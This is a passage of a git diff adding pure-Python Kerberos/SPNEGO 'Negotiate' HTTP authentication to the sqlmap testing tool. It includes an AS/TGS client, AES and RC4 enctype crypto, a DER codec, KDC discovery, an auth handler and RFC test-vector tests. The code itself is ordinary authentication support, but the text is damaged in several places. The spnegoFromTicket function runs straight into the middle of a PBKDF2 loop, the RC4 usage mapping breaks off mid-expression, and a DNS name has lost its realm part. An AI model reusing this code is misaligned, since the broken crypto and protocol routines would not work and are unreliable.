if advertisedEtype in ENCTYPES: + etype = advertisedEtype + iterations = advertisedIters + if salt is None and advertisedSalt is not None: + chosenSalt = advertisedSalt + break + + enc = _enctype(etype) + clientKey = enc.string2key(password, chosenSalt, iterations) + + # 2) authenticated request with PA-ENC-TIMESTAMP under the discovered etype/salt + paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(_kerberosTime())), der.tagged(1, der.integer(0))) + cipher = enc.encrypt(clientKey, USAGE_AS_REQ_PA_ENC_TIMESTAMP, paTsEnc) + paData = der.sequence( + der.tagged(1, der.integer(PA_ENC_TIMESTAMP)), + der.tagged(2, der.octetString(_encryptedData(etype, cipher))), + ) + nonce = _nonce() + response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce, padata=paData)) + return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP) + +# ---- TGS exchange (TGT -> service ticket) --------------------------------------------------------- +def getServiceTicket(tgt, realm, username, serviceComponents, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES): + """Present the TGT in a PA-TGS-REQ AP-REQ to obtain a ticket for the named service. + + Returns the same shape as getTGT (the 'ticket' is now the service ticket). + """ + + realm = realm.upper() + enc = _enctype(tgt["sessionKeyType"]) + nonce = _nonce() + reqBody = _reqBody(realm, NT_SRV_INST, serviceComponents, etypes, nonce) + + cksum = (enc.cksumtype, enc.checksum(tgt["sessionKey"], USAGE_TGS_REQ_AUTH_CKSUM, reqBody)) + authenticator = _authenticator(realm, [username], cksum=cksum) + encAuth = enc.encrypt(tgt["sessionKey"], USAGE_TGS_REQ_AUTH, authenticator) + apReq = _apReq(tgt["ticket"], encAuth, tgt["sessionKeyType"]) + + paTgs = der.sequence(der.tagged(1, der.integer(PA_TGS_REQ)), der.tagged(2, der.octetString(apReq))) + tgsReq = der.application(TGS_REQ, der.sequence( + der.tagged(1, der.integer(PVNO)), + der.tagged(2, der.integer(TGS_REQ)), + der.tagged(3, der.sequenceOf([paTgs])), + der.tagged(4, reqBody), + )) + + return _parseRep(_sendReceive(kdcHost, kdcPort, tgsReq), tgt["sessionKey"], USAGE_TGS_REP_ENCPART, nonce, TGS_REP) + +# ---- SPNEGO "Negotiate" token (cached service ticket -> ready-to-send HTTP token) ----------------- +def spnegoFromTicket(service, realm, username): + """Build a fresh SPNEGO token from an already-obtained service ticket (no KDC round-trip). Each + call produces a new AP-REQ authenticator, as replay caches require, so a cached ticket can back + every request of a scan cheaply.""" + + enc = _enctype(service["sessionKeyType"]) + gssChecksum = (GSS_CHECKSUM_TYPE, struct.pack("I", block), hashlib.sha1).digest() + acc = bytearray(u) + for _ in range(iterations - 1): + u = hmac.new(password, u, hashlib.sha1).digest() + acc = bytearray(x ^ y for x, y in zip(acc, bytearray(u))) + out += acc + block += 1 + return bytes(out[:dklen]) + +def _rotate_right(data, nbits): + """Rotate a byte string right by 'nbits' bits, preserving its length.""" + + data = bytearray(data) + if not data: + return data + total = len(data) * 8 + nbits %= total + value = ((_b2i(data) >> nbits) | (_b2i(data) << (total - nbits))) & ((1 << total) - 1) + return _i2b(value, len(data)) + +def nfold(data, nbytes): + """RFC 3961 n-fold: spread 'data' over 'nbytes' bytes via 13-bit rotated copies summed with an + end-around carry (ones-complement addition).""" + + data = bytearray(data) + + def gcd(a, b): + while b: + a, b = b, a % b + return a + + lcm = len(data) * nbytes // gcd(len(data), nbytes) + + buf = bytearray() + rotation = 0 + while len(buf) < lcm: + buf += _rotate_right(data, rotation) + rotation += 13 + + bits = 8 * nbytes + mask = (1 << bits) - 1 + acc = sum(_b2i(buf[off:off + nbytes]) for off in range(0, lcm, nbytes)) + while acc > mask: + acc = (acc & mask) + (acc >> bits) + return bytes(_i2b(acc, nbytes)) + +class AESEnctype(object): + """AES-CTS-HMAC-SHA1-96 simplified-profile enctype (RFC 3962). keysize 16 => etype 17, 32 => 18.""" + + blocksize = 16 + macsize = 12 + + def __init__(self, keysize): + self.keysize = keysize + self.cksumtype = 16 if keysize == 32 else 15 # hmac-sha1-96-aes256 / -aes128 + + def checksum(self, key, usage, data): + """Keyed checksum (RFC 3961 get_mic): HMAC-SHA1-96 under the checksum key DK(key, usage|0x99).""" + + kc = self.dk(key, struct.pack(">IB", usage, 0x99)) + return hmac.new(kc, data, hashlib.sha1).digest()[:self.macsize] + + # --- key schedule ------------------------------------------------------------------------------- + def _dr(self, key, constant): + """RFC 3961 DR: iterate the single-block cipher over the (n-folded) constant to seedsize.""" + + aes = AES(key) + block = nfold(constant, self.blocksize) + out = bytearray() + while len(out) < self.keysize: + block = aes.encryptBlock(block) # single 16-byte block => CBC(iv=0) == ECB + out += bytearray(block) + return bytes(out[:self.keysize]) + + def dk(self, key, constant): + """RFC 3961 DK = random-to-key(DR(...)); random-to-key is the identity for AES.""" + + return self._dr(key, constant) + + def string2key(self, password, salt, iterations=None): + """RFC 3962 string-to-key: DK(PBKDF2-HMAC-SHA1(password, salt), "kerberos").""" + + iterations = iterations or DEFAULT_PBKDF2_ITERATIONS + tkey = _pbkdf2(_to_bytes(password), _to_bytes(salt), iterations, self.keysize) + return self.dk(tkey, b"kerberos") + + # --- CBC ciphertext stealing (RFC 3962, CS3: always swap the final two blocks) ------------------ + def _basicEncrypt(self, key, data): + aes = AES(key) + padded = data + b"\x00" * ((-len(data)) % self.blocksize) + ct = aes.cbcEncrypt(b"\x00" * self.blocksize, padded) + if len(data) > self.blocksize: + lastlen = len(data) % self.blocksize or self.blocksize + ct = ct[:-2 * self.blocksize] + ct[-self.blocksize:] + ct[-2 * self.blocksize:-self.blocksize][:lastlen] + return ct + + def _basicDecrypt(self, key, data): + aes = AES(key) + if len(data) == self.blocksize: + return aes.decryptBlock(data) + + blocks = [bytearray(data[p:p + self.blocksize]) for p in range(0, len(data), self.blocksize)] + lastlen = len(blocks[-1]) + prev = bytearray(self.blocksize) + out = bytearray() + for block in blocks[:-2]: + out += bytearray(_xor(aes.decryptBlock(bytes(block)), prev)) + prev = block + + decrypted = bytearray(aes.decryptBlock(bytes(blocks[-2]))) + lastPlain = _xor(decrypted[:lastlen], blocks[-1]) + omitted = decrypted[lastlen:] + secondLast = _xor(aes.decryptBlock(bytes(blocks[-1] + omitted)), prev) + return bytes(out) + secondLast + lastPlain + + # --- authenticated encryption (RFC 3961 section 5.3) -------------------------------------------- + def _keys(self, key, usage): + ke = self.dk(key, struct.pack(">IB", usage, 0xAA)) + ki = self.dk(key, struct.pack(">IB", usage, 0x55)) + return ke, ki + + def encrypt(self, key, usage, plaintext, confounder=None): + ke, ki = self._keys(key, usage) + if confounder is None: + confounder = os.urandom(self.blocksize) + basic = confounder + plaintext + return self._basicEncrypt(ke, basic) + hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize] + + def decrypt(self, key, usage, ciphertext): + if len(ciphertext) < self.blocksize + self.macsize: # confounder block + HMAC; guards a hostile short reply + raise ValueError("Kerberos ciphertext too short") + ke, ki = self._keys(key, usage) + ct, mac = ciphertext[:-self.macsize], ciphertext[-self.macsize:] + basic = self._basicDecrypt(ke, ct) + if not _eq(mac, hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]): + raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)") + return basic[self.blocksize:] + +def _rc4(key, data): + """RC4 (ARCFOUR) stream cipher.""" + + key, data = bytearray(key), bytearray(data) + if not key: + raise ValueError("RC4 requires a non-empty key") + s = list(range(256)) + j = 0 + for i in range(256): + j = (j + s[i] + key[i % len(key)]) & 0xff + s[i], s[j] = s[j], s[i] + + out = bytearray(len(data)) + i = j = 0 + for n in range(len(data)): + i = (i + 1) & 0xff + j = (j + s[i]) & 0xff + s[i], s[j] = s[j], s[i] + out[n] = data[n] ^ s[(s[i] + s[j]) & 0xff] + return bytes(out) + +class RC4Enctype(object): + """rc4-hmac (etype 23, RFC 4757). The long-term key is the NT hash MD4(UTF-16LE(password)); the + salt and iteration count are unused. Legacy, but still enabled in many AD environments.""" + + keysize = 16 + cksumtype = -138 # hmac-md5 + + def string2key(self, password, salt=None, iterations=None): + # the password is text; encode it UTF-16LE (in py2 a str is bytes, so decode to text first) + if isinstance(password, bytes): + password = password.decode("utf-8") + return _md4(password.encode("utf-16-le")) + + @staticmethod + def _usage(usage): + # RFC 4757 section 3: a couple of Kerberos usages map to Microsoft-specific values + return struct.pack(" enctype implementation +ENCTYPES = { + 17: AESEnctype(16), + 18: AESEnctype(32), + 23: RC4Enctype(), +} diff --git a/extra/kerberos/der.py b/extra/kerberos/der.py new file mode 100644 index 00000000000..650c78fb799 --- /dev/null +++ b/extra/kerberos/der.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Minimal, dependency-free ASN.1 DER codec covering exactly the constructs Kerberos (RFC 4120) uses: +# INTEGER, OCTET STRING, GeneralString, GeneralizedTime, BIT STRING, SEQUENCE / SEQUENCE OF, EXPLICIT +# context tags [n] and [APPLICATION n]. All Kerberos tag numbers are <= 30, so only the low-tag-number +# form is needed. Encoders return bytes; decoders accept bytes/bytearray. Python 2.7 / 3.x. + +# universal tag bytes +INTEGER = 0x02 +BIT_STRING = 0x03 +OCTET_STRING = 0x04 +GENERAL_STRING = 0x1b +GENERALIZED_TIME = 0x18 +SEQUENCE = 0x30 # 0x10 | constructed(0x20) + +def _encodeLength(length): + if length < 0x80: + return bytearray([length]) + out = bytearray() + while length: + out.insert(0, length & 0xff) + length >>= 8 + return bytearray([0x80 | len(out)]) + out + +def _tlv(tag, value): + value = bytearray(value) + return bytes(bytearray([tag]) + _encodeLength(len(value)) + value) + +# ---- context / application tags (EXPLICIT) -------------------------------------------------------- +def contextTag(number): + return 0x80 | 0x20 | number # context-specific, constructed + +def applicationTag(number): + return 0x40 | 0x20 | number # application, constructed + +def tagged(number, innerTLV): + """EXPLICIT [n] wrapper around an already-encoded inner TLV.""" + + return _tlv(contextTag(number), innerTLV) + +def application(number, innerTLV): + """[APPLICATION n] wrapper around an already-encoded inner TLV.""" + + return _tlv(applicationTag(number), innerTLV) + +# ---- primitive encoders --------------------------------------------------------------------------- +def integer(value): + content = bytearray() + if value == 0: + content = bytearray([0]) + elif value > 0: + n = value + while n: + content.insert(0, n & 0xff) + n >>= 8 + if content[0] & 0x80: # keep the sign bit clear for a positive value + content.insert(0, 0x00) + else: + n = value + while True: + content.insert(0, n & 0xff) + n >>= 8 + if n == -1 and (content[0] & 0x80): + break + return _tlv(INTEGER, content) + +def octetString(value): + return _tlv(OCTET_STRING, value) + +def generalString(value): + return _tlv(GENERAL_STRING, value if isinstance(value, bytes) else value.encode("utf-8")) + +def generalizedTime(value): + """'value' is a 'YYYYMMDDHHMMSSZ' UTC string.""" + + return _tlv(GENERALIZED_TIME, value if isinstance(value, bytes) else value.encode("ascii")) + +def bitString(value, unusedBits=0): + return _tlv(BIT_STRING, bytearray([unusedBits]) + bytearray(value)) + +def sequence(*elements): + return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements)) + +def sequenceOf(elements): + return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements)) + +# ---- decoding ------------------------------------------------------------------------------------- +def peel(data, offset=0): + """Parse one TLV at 'offset'; return (tag, content_bytearray, next_offset). Raises ValueError on + truncated or indefinite-length input (the data may come from the network, so fail predictably).""" + + data = bytearray(data) + if offset + 2 > len(data): + raise ValueError("truncated DER header") + tag = data[offset] + first = data[offset + 1] + offset += 2 + if first < 0x80: + length = first + elif first == 0x80: + raise ValueError("indefinite-length DER is not permitted") + else: + count = first & 0x7f + if offset + count > len(data): + raise ValueError("truncated DER length") + length = 0 + for _ in range(count): + length = (length << 8) | data[offset] + offset += 1 + if offset + length > len(data): + raise ValueError("truncated DER content") + return tag, data[offset:offset + length], offset + length + +def children(content): + """Iterate the TLVs contained in a constructed value; yields (tag, content_bytearray).""" + + content = bytearray(content) + offset = 0 + out = [] + while offset < len(content): + tag, inner, offset = peel(content, offset) + out.append((tag, inner)) + return out + +def decodeInteger(content): + content = bytearray(content) + if not content: + return 0 + value = 0 + for b in content: + value = (value << 8) | b + if content[0] & 0x80: # negative (two's complement) + value -= 1 << (8 * len(content)) + return value + +def decodeGeneralString(content): + return bytes(bytearray(content)).decode("utf-8", "replace") diff --git a/extra/kerberos/discovery.py b/extra/kerberos/discovery.py new file mode 100644 index 00000000000..debc5b94347 --- /dev/null +++ b/extra/kerberos/discovery.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free KDC discovery for a realm, so '--auth-type=Negotiate' works without an explicit +# KDC address. Resolution order: the 'SQLMAP_KERBEROS_KDC' environment variable, then the local +# krb5.conf [realms] section, then a DNS SRV lookup (_kerberos._tcp.), then the realm name +# itself as a host. Returns (host, port). Python 2.7 / 3.x. + +import os +import re +import socket +import struct + +DEFAULT_KDC_PORT = 88 +_DNS_TIMEOUT = 3 +_SRV_TYPE = 33 +_IN_CLASS = 1 + +def _splitHostPort(value, defaultPort=DEFAULT_KDC_PORT): + value = value.strip() + if value.startswith("["): # [IPv6] or [IPv6]:port + host, _, rest = value[1:].partition("]") + port = rest[1:] if rest.startswith(":") else "" + elif value.count(":") == 1: # host:port (a single colon rules out bare IPv6) + host, _, port = value.partition(":") + else: # bare host or bare IPv6 literal + host, port = value, "" + return host, (int(port) if port.isdigit() else defaultPort) + +# ---- krb5.conf -------------------------------------------------------------------------------- +def _fromKrb5Conf(realm): + path = os.environ.get("KRB5_CONFIG") or "/etc/krb5.conf" + try: + with open(path) as f: + content = f.read() + except (IOError, OSError): + return None + + header = re.search(r"(?im)^\s*%s\s*=\s*\{" % re.escape(realm), content) + if not header: + return None + start = header.end() # brace-match so a nested '{ }' block cannot truncate us + depth, i = 1, start + while i < len(content) and depth > 0: + if content[i] == "{": + depth += 1 + elif content[i] == "}": + depth -= 1 + i += 1 + block = content[start:i - 1] + kdc = re.search(r"(?im)^\s*kdc\s*=\s*(\S+)", block) + return kdc.group(1) if kdc else None + +# ---- DNS SRV (_kerberos._tcp.) --------------------------------------------------------- +def _nameservers(): + servers = [] + try: + with open("/etc/resolv.conf") as f: + for line in f: + parts = line.split() + if len(parts) >= 2 and parts[0] == "nameserver": + servers.append(parts[1]) + except (IOError, OSError): + pass + return servers + +def _encodeName(name): + out = bytearray() + for label in name.split("."): + out.append(len(label)) + out += label.encode("ascii") + out.append(0) + return bytes(out) + +_MAX_NAME_JUMPS = 64 # guards against compression-pointer cycles + +def _skipName(data, offset): + while True: + if offset >= len(data): + raise ValueError("truncated DNS name") + length = data[offset] + if length == 0: + return offset + 1 + if length & 0xc0 == 0xc0: # compression pointer ends the name + if offset + 2 > len(data): + raise ValueError("truncated DNS pointer") + return offset + 2 + offset += 1 + length + +def _readName(data, offset): + labels = [] + end = None + jumps = 0 + while True: + if offset >= len(data): + raise ValueError("truncated DNS name") + length = data[offset] + if length == 0: + offset += 1 + break + if length & 0xc0 == 0xc0: # follow compression pointer (bounded, cycle-safe) + if offset + 2 > len(data): + raise ValueError("truncated DNS pointer") + jumps += 1 + if jumps > _MAX_NAME_JUMPS: + raise ValueError("too many DNS compression jumps") + if end is None: + end = offset + 2 + offset = ((length & 0x3f) << 8) | data[offset + 1] + continue + if offset + 1 + length > len(data): + raise ValueError("truncated DNS label") + labels.append(bytes(data[offset + 1:offset + 1 + length]).decode("ascii", "replace")) + offset += 1 + length + return ".".join(labels), (end if end is not None else offset) + +def parseSrv(response): + """Parse SRV records from a (possibly hostile) DNS response into [(priority, weight, port, + target), ...]. Malformed input yields an empty list rather than raising.""" + + data = bytearray(response) + if len(data) < 12: + return [] + try: + qdcount, ancount = struct.unpack(">HH", bytes(data[4:8])) + offset = 12 + for _ in range(qdcount): + offset = _skipName(data, offset) + 4 # + qtype/qclass + records = [] + for _ in range(ancount): + offset = _skipName(data, offset) + if offset + 10 > len(data): + break + rtype, _cls, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10])) + offset += 10 + if offset + rdlength > len(data): + break + if rtype == _SRV_TYPE and rdlength >= 6: + priority, weight, port = struct.unpack(">HHH", bytes(data[offset:offset + 6])) + target = _readName(data, offset + 6)[0].rstrip(".") + if target: + records.append((priority, weight, port, target)) + offset += rdlength + return records + except (ValueError, struct.error, IndexError): + return [] + +def _fromDnsSrv(realm): + queryId = os.urandom(2) + query = (queryId + struct.pack(">HHHHH", 0x0100, 1, 0, 0, 0) + + _encodeName("_kerberos._tcp.%s" % realm) + struct.pack(">HH", _SRV_TYPE, _IN_CLASS)) + for server in _nameservers(): + family = socket.AF_INET6 if ":" in server else socket.AF_INET + sock = socket.socket(family, socket.SOCK_DGRAM) + sock.settimeout(_DNS_TIMEOUT) + try: + sock.connect((server, 53)) # connect() so the kernel drops replies from any other source + sock.send(query) + response = sock.recv(4096) + except socket.error: + continue + finally: + sock.close() + if len(response) < 2 or response[:2] != queryId: # ignore stray / spoofed replies + continue + records = parseSrv(response) + if records: + best = min(records, key=lambda r: (r[0], -r[1])) # lowest priority, then highest weight + return best[3], best[2] + return None + +def discoverKdc(realm): + """Resolve (host, port) of a KDC for the realm; falls back to the realm name itself as a host.""" + + override = os.environ.get("SQLMAP_KERBEROS_KDC") + if override: + return _splitHostPort(override) + + configured = _fromKrb5Conf(realm) + if configured: + return _splitHostPort(configured) + + fromDns = _fromDnsSrv(realm) + if fromDns: + return fromDns + + return realm.lower(), DEFAULT_KDC_PORT diff --git a/extra/kerberos/spnego.py b/extra/kerberos/spnego.py new file mode 100644 index 00000000000..e4285c45a80 --- /dev/null +++ b/extra/kerberos/spnego.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Minimal GSS-API / SPNEGO (RFC 2743, RFC 4178) wrapping of a Kerberos AP-REQ into the token carried +# by the HTTP "Authorization: Negotiate " header. Only the initiator's NegTokenInit is built +# (the one-shot token an HTTP client sends); the mechanism-specific OIDs are fixed constants. +# Python 2.7 / 3.x. + +from extra.kerberos import der + +# fully-encoded OBJECT IDENTIFIER TLVs +KRB5_OID = bytes(bytearray([0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02])) # 1.2.840.113554.1.2.2 +SPNEGO_OID = bytes(bytearray([0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02])) # 1.3.6.1.5.5.2 + +TOK_ID_AP_REQ = b"\x01\x00" # GSS Kerberos token id for KRB_AP_REQ + +def gssApReq(apReq): + """GSS InitialContextToken: [APPLICATION 0] { Kerberos OID, tok-id, AP-REQ }.""" + + return der.application(0, KRB5_OID + TOK_ID_AP_REQ + apReq) + +def negTokenInit(apReq): + """SPNEGO NegTokenInit wrapping the Kerberos GSS token (Kerberos advertised as the sole mech).""" + + inner = der.sequence( + der.tagged(0, der.sequenceOf([KRB5_OID])), # mechTypes + der.tagged(2, der.octetString(gssApReq(apReq))), # mechToken + ) + return der.application(0, SPNEGO_OID + der.tagged(0, inner)) diff --git a/lib/core/enums.py b/lib/core/enums.py index 7973d48b3f8..aa8cc4e6561 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -439,6 +439,7 @@ class AUTH_TYPE(object): DIGEST = "digest" BEARER = "bearer" NTLM = "ntlm" + NEGOTIATE = "negotiate" PKI = "pki" class AUTOCOMPLETE_TYPE(object): diff --git a/lib/core/option.py b/lib/core/option.py index 816c698891a..5d9163e0c62 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1332,8 +1332,11 @@ def _setHTTPHandlers(): # proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled # socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled # when incompatible (authentication methods, or chunked transfer-encoding of the request body - - # handled by a dedicated, non-pooling handler) - conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked + # handled by a dedicated, non-pooling handler). Negotiate is the one auth exception: its token is + # a per-request, end-to-end header (minted fresh each request, no connection-bound handshake), so + # persistent connections remain safe and worthwhile. + negotiateAuth = (conf.authType or "").lower() == AUTH_TYPE.NEGOTIATE + conf.keepAlive = not conf.noKeepAlive and not conf.chunked and (not conf.authType or negotiateAuth) if conf.keepAlive: # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS @@ -1449,7 +1452,7 @@ def _setAuthCred(): def _setHTTPAuthentication(): """ - Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI), + Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM, Negotiate or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ @@ -1472,9 +1475,9 @@ def _setHTTPAuthentication(): errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) - elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest, Bearer, NTLM or PKI" + errMsg += "Basic, Digest, Bearer, NTLM, Negotiate or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: @@ -1490,11 +1493,12 @@ def _setHTTPAuthentication(): elif authType == AUTH_TYPE.BEARER: conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) return - elif authType == AUTH_TYPE.NTLM: + elif authType in (AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE): # Note: the DOMAIN\username part is colon-free, so the password group takes the full - # remainder (a greedy first group would otherwise swallow colons inside the password) + # remainder (a greedy first group would otherwise swallow colons inside the password). + # For Negotiate, DOMAIN is the Kerberos realm. regExp = "^([^:]*\\\\[^:]*):(.*)$" - errMsg = "HTTP NTLM authentication credentials value must " + errMsg = "HTTP %s authentication credentials value must " % authType errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " @@ -1522,6 +1526,12 @@ def _setHTTPAuthentication(): elif authType == AUTH_TYPE.NTLM: from lib.request.ntlm import HTTPNtlmAuthHandler authHandler = HTTPNtlmAuthHandler(kb.passwordMgr) + + elif authType == AUTH_TYPE.NEGOTIATE: + from lib.request.kerberos import HTTPNegotiateAuthHandler + # DOMAIN is the Kerberos realm; the KDC is auto-discovered (env / krb5.conf / DNS SRV / realm) + realm, _, user = conf.authUsername.partition('\\') + authHandler = HTTPNegotiateAuthHandler(realm, user, conf.authPassword) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index f4abc3823ff..34d2b93d5d2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.182" +VERSION = "1.10.7.183" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/kerberos.py b/lib/request/kerberos.py new file mode 100644 index 00000000000..bd6e23c2be7 --- /dev/null +++ b/lib/request/kerberos.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free HTTP "Negotiate" (SPNEGO/Kerberos) authentication, built on the in-tree +# pure-Python Kerberos client (extra/kerberos). No 'pykerberos'/'gssapi'/'requests-kerberos' needed. +# The TGT and per-service tickets are obtained once and cached; a fresh AP-REQ is minted for every +# request from the cached ticket (as replay caches require), so an entire scan costs a single AS+TGS +# exchange and the token is sent pre-emptively (no extra 401 round-trip per request). Python 2.7 / 3.x. + +import base64 +import logging +import threading + +from lib.core.common import getSafeExString +from lib.core.common import singleTimeLogMessage +from lib.core.convert import getText +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves import urllib as _urllib + +from extra.kerberos.client import getServiceTicket +from extra.kerberos.client import getTGT +from extra.kerberos.client import KerberosError +from extra.kerberos.client import spnegoFromTicket +from extra.kerberos.discovery import discoverKdc + +class HTTPNegotiateAuthHandler(_urllib.request.BaseHandler): + handler_order = 480 + + def __init__(self, realm, username, password, kdcHost=None, kdcPort=None): + self.realm = realm.upper() + self.username = username + self.password = password + self.kdcHost = kdcHost # None -> discovered from the realm on first use + self.kdcPort = kdcPort + self._tgt = None + self._tickets = {} # target host -> service-ticket dict + self._tgtFailure = None # realm-wide failure (bad creds / KDC down) + self._hostFailures = {} # per-host failure (e.g. no HTTP/ SPN) + self._lock = threading.Lock() + + def _serviceTicket(self, host): + with self._lock: + if self._tgtFailure is not None: # TGT unobtainable -> nothing in the realm works + raise self._tgtFailure + if host in self._hostFailures: # this host already failed -> don't retry it + raise self._hostFailures[host] + if host not in self._tickets: + if self._tgt is None: + if self.kdcHost is None: # krb5.conf / DNS SRV / realm-name discovery + self.kdcHost, self.kdcPort = discoverKdc(self.realm) + try: + self._tgt = getTGT(self.realm, self.username, self.password, self.kdcHost, self.kdcPort) + except Exception as ex: # cache so the AS exchange runs at most once + self._tgtFailure = ex + raise + try: + self._tickets[host] = getServiceTicket(self._tgt, self.realm, self.username, ["HTTP", host], self.kdcHost, self.kdcPort) + except Exception as ex: # host-specific -> other hosts remain usable + self._hostFailures[host] = ex + raise + return self._tickets[host] + + def _requestHandler(self, req): + host = _urllib.parse.urlsplit(req.get_full_url()).hostname + if host: + try: + token = spnegoFromTicket(self._serviceTicket(host), self.realm, self.username) + req.add_unredirected_header(HTTP_HEADER.AUTHORIZATION, "Negotiate %s" % getText(base64.b64encode(token))) + except KerberosError as ex: + # bad credentials / KDC-refused: log once, fall through unauthenticated (server 401s) + singleTimeLogMessage("Negotiate (Kerberos) authentication failed: %s" % getSafeExString(ex), logging.ERROR) + except Exception as ex: + # unreachable KDC, malformed reply, etc. - never let it crash the run + singleTimeLogMessage("could not obtain a Kerberos ticket (is the KDC '%s:%s' reachable?): %s" % (self.kdcHost, self.kdcPort, getSafeExString(ex)), logging.ERROR) + return req + + def http_request(self, req): + return self._requestHandler(req) + + https_request = http_request diff --git a/tests/test_kerberos.py b/tests/test_kerberos.py new file mode 100644 index 00000000000..bbc31252da9 --- /dev/null +++ b/tests/test_kerberos.py @@ -0,0 +1,241 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for the dependency-free Kerberos stack under extra/kerberos: the AES core (FIPS-197), the +RFC 3961/3962 etype crypto (n-fold, string-to-key, authenticated encryption) and the ASN.1 DER codec. +All assertions use published FIPS/RFC test vectors, so they validate the crypto and encoding offline +(the AS/TGS protocol and the HTTP Negotiate handler are exercised against a live KDC, not here). +""" + +import binascii +import os +import struct +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from extra.kerberos import client +from extra.kerberos import der +from extra.kerberos import discovery +from extra.kerberos.aes import AES +from extra.kerberos.crypto import ENCTYPES, nfold + + +def _dnsName(name): + out = bytearray() + for label in name.split("."): + out.append(len(label)) + out += label.encode("ascii") + out.append(0) + return bytes(out) + + +def _h(value): + return binascii.unhexlify(value) + + +class TestKerberosAES(unittest.TestCase): + def test_fips197_known_answer(self): + # FIPS-197 Appendix C.1 (AES-128) and C.3 (AES-256) + for key, pt, ct in ( + ("000102030405060708090a0b0c0d0e0f", + "00112233445566778899aabbccddeeff", "69c4e0d86a7b0430d8cdb78070b4c55a"), + ("000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f", + "00112233445566778899aabbccddeeff", "8ea2b7ca516745bfeafc49904b496089"), + ): + aes = AES(_h(key)) + self.assertEqual(aes.encryptBlock(_h(pt)), _h(ct)) + self.assertEqual(aes.decryptBlock(_h(ct)), _h(pt)) + + def test_cbc_round_trip(self): + aes = AES(_h("00" * 32)) + iv, data = _h("0f" * 16), os.urandom(64) + self.assertEqual(aes.cbcDecrypt(iv, aes.cbcEncrypt(iv, data)), data) + + +class TestKerberosCrypto(unittest.TestCase): + def test_nfold_rfc3961(self): + # RFC 3961 Appendix A.1 + for text, size, expected in ( + ("012345", 8, "be072631276b1955"), + ("password", 7, "78a07b6caf85fa"), + ("Rough Consensus, and Running Code", 8, "bb6ed30870b7f0e0"), + ("password", 21, "59e4a8ca7c0385c3c37b3f6d2000247cb6e6bd5b3e"), + ("MASSACHVSETTS INSTITVTE OF TECHNOLOGY", 24, + "db3b0d8f0b061e603282b308a50841229ad798fab9540c1b"), + ): + self.assertEqual(binascii.hexlify(nfold(text.encode(), size)).decode(), expected) + + def test_string2key_rfc3962(self): + # RFC 3962 Appendix B (pass 'password', salt 'ATHENA.MIT.EDUraeburn') + for iterations, keysize, expected in ( + (1, 16, "42263c6e89f4fc28b8df68ee09799f15"), + (1, 32, "fe697b52bc0d3ce14432ba036a92e65bbb52280990a2fa27883998d72af30161"), + (1200, 16, "4c01cd46d632d01e6dbe230a01ed642a"), + (1200, 32, 